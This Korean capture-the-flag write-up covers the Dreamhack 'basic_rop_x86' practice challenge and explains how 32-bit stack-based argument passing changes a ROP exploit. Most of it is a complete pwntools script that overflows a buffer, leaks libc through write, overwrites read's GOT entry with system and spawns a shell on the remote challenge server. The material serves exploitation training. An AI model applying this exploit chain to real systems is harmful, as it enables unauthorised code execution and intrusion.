
basic_rop_x64를 32비트 x86아키텍처에서 해결하는 문제입니다. 여기서는 아키텍처의 차이에 의한 차이점만 설명하도록 하겠습니다. basic_rop_x64를 해결하지 않으신 분들은 링크를 보고 오시길 바랍니다.
64비트 아키텍처인 amd64는 앞의 문제에서 확인하였듯이 인자가 레지스터를 통하여 전달됩니다. rdi, rsi, rdx, ... 순서로 사용되므로 앞의 문제는 pop_rdi와 pop_rsi_r15라는 가젯을 활용하여 rdi와 rsi의 값을 변경하였습니다.
하지만 32비트 아키텍처인 i386-32-little은 함수 인자들이 스택을 통해 전달됩니다.
from pwn import *
p = remote("host1.dreamhack.games", 19355)
e = ELF("./basic_rop_x86")
libc = ELF("./libc.so.6")
#pop을 3번 하는 가젯
#0x08048689 : pop esi ; pop edi ; pop ebp ; ret
pop3 = 0x08048689
#pop을 한 번 하는 가젯
#0x0804868b : pop ebp ; ret
pop = 0x0804868b
read_plt = e.plt["read"]
read_got = e.got["read"]
write_plt = e.plt["write"]
basic_rop_x64는 rdx가 충분히 큰 값일 것이라고 가정하였기 때문에 read와 write의 3번째 인자를 정하지 않았지만 여기서는 인자들이 스택을 통해 전달되기 때문에 작성을 해줘야 합니다.
payload = b'A' * 0x48
#write(1, read_got, 4)
payload += p32(write_plt)
payload += p32(pop3) + p32(1) + p32(read_got) + p32(4)
#read(0, read_got, 12)
payload += p32(read_plt)
payload += p32(pop3) + p32(0) + p32(read_got) + p32(12)
#system("/bin/sh")
payload += p32(read_plt)
payload += p32(pop) + p32(read_got + 0x4)
p.send(payload)
p.recvuntil(b'A' * 0x40)
read = u32(p.recvn(4))
lb = read - libc.symbols["read"]
system = lb + libc.symbols["system"]
p.send(p32(system) + b"/bin/sh\x00")
p.interactive()
실행하면 셸을 얻을 수 있습니다.
